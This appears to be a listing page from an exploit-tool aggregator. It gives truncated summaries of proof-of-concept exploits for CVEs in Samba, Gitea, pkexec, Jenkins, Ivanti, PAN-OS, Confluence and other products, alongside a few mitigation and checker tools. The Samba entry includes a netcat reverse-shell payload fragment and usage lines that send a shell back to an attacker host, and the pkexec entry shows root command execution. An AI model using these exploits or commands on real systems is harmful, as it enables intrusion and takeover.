fwbt

fwbt Writeup: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ Proof of Concept code for interaction with Firewalla via Bluetooth Low-Energy and exploitation of CVE-2024-40892 / CVE-2024-40893 Without any configuration it will scan for Firewalla's in local proximity and leak th...

code-shield

protocol-remediator C/C++ प्रोटोकॉल/प्लेटफ़ॉर्म कोड की कमज़ोरियों findings को पुनरुत्पादनीय साक्ष्य के रूप में सामान्यीकृत करने और उम्मीदवार पैच को पृथक प्रतिलिपि में सत्यापित करने वाला MVP है। code-shield एक कार्य नाम है जिसमें नाम टकराव का जोखिम पहचाना गया था, इसलिए सार्वजनिक पैकेज और CLI के लि...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea repository migration remote command execution exploit. How to use 1. Run an HTTP filesystem server with the files in this repository. 2. Edit the command to be exeucted in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migrate remote repository with URL http:///e99/exp on...

certbot v5.8.0

.. This file contains a series of comments that are used to include sections of this README in other files. Do not modify these comments unless you know what you are doing. tag:intro-begin |build-status| .. |build-status| image::...

magento2-encryption-key-manager-cli

Magento 2 Encryption Key Manager CLI A utility for Magento 2 encryption key rotation and management. CVE-2024-34102aka Cosmic Sting victims can use it as an aftercare. Designed for Development usage Deployment automation CVE-2024-34102aka Cosmic Sting aftercare CVE-2024-34102aka Cosmic Sting Afte...

cve-2021-4034

CVE-2021-4034 this tool use for pkexec single command execute POC whoami root@kitploit: test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 root@kitploit: test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 byte...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework Remote Command Execution Vulnerability CVE-2022-22965 Spring-Core-RCE is comparable to the Apache Log4j2 nuclear-level vulnerability exp for one-click RCE exploitation Overview Recently, a remote command execution vulnerability regarding Spring Core was mentioned ...

anviz-m3-rfid-cve-2019-11523-poc

Anviz M3 RFID Access Control security issues Security issues have been found in the Anviz M3 RFID Access Control device when working in standalone mode connected to a TCP/IP network, that could lead to access control bypass and private informations leakage and alteration. Advisory information...

CVE-2024-23897

CVE-2024-23897 - Jenkins Arbitrary File Read Exploit Tool Installation CVE-2024-23897 requires go 1.21 to complete installation. Execute the following command: root@kitploit: go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest Or download the pre-built binary from release...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

CVE-2024-3094-check

CVE-2024-3094 vul check tools This vulnerability allows an attacker to log into the server and execute arbitrary code without passing SSH authentication. For details, please see: https://www.openwall.com/lists/oss-security/2024/03/29/4 use root@kitploit: curl -fsSL...

watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428

Chaîne Ivanti EPMM CVE-2025-4427 et CVE-2025-4428 Outil de génération d'artefacts de détection de la chaîne RCE Pre-Auth 1day Ivanti EPMM Détection en action root@kitploit: $ python3 watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428.py -H https://192.168.1.100 / | | |\ \ \ / / \ \ / | | | |...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 and CVE-2024-9474 Authentication Bypass in the Management Web Interface PAN-SA-2024-0015 and Authenticated Command Injection in Palo Alto PAN-OS See our blog post for technical details Affected Versions root@kitploit: TBD Exploit authors This exploit was written by Sonny of watchTow...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE CVE-2025-0282 This is purposefully broken in non-trivial ways and will require effort to work as outlined previously in our exploitation technique blogpost. To understand this vulnerability, you can take a look at our technic...

cve-2023-22527

Executing Arbitrary Code In Confluence Memory CVE-2023-22527 is a widely known vulnerability affecting Atlassian Confluence. Most exploits for this vulnerability use freemarker.template.utility.Execute to execute an operating system command, but they can do so much better. In this repository you'...

CVE-2017-1000353

CVE-2017-1000353 POC How to reproduce the Jenkins CVE-2017-1000353？ Clone this repository, use the pre-built payload jenkinspoc.ser with flowing command: root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser Then the touch /tmp/success would be executed. Java Version Requirements...

cve-2022-36804

CVE-2022-36804: Pre-Auth RCE in Atlassian Bitbucket Server A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions 7.6.17...

CVE-2023-46805

शीर्षक: CVE-2023-46805 के लिए प्रूफ ऑफ कॉन्सेप्ट - केवल शैक्षिक उपयोग के लिए लाइसेंस: यह कार्य क्रिएटिव कॉमन्स एट्रिब्यूशन 4.0 अंतर्राष्ट्रीय लाइसेंस CC BY 4.0 के अंतर्गत रखा गया है। आप इस कार्य को साझा करने, कॉपी करने, वितरित करने और प्रसारित करने, इसे अनुकूलित करने या अन्य उद्देश्यों के लिए उपय...

CVE-2023-23397

CVE-2023-23397 Proof of Concept This is a proof of concept PoC exploit for CVE-2023-23397, a vulnerability in the Windows Microsoft Outlook client. Prerequisites Python 3 pywin32 package How to use Windows 1. Install the required pywin32 package by running pip install pywin32. 2. Run the script...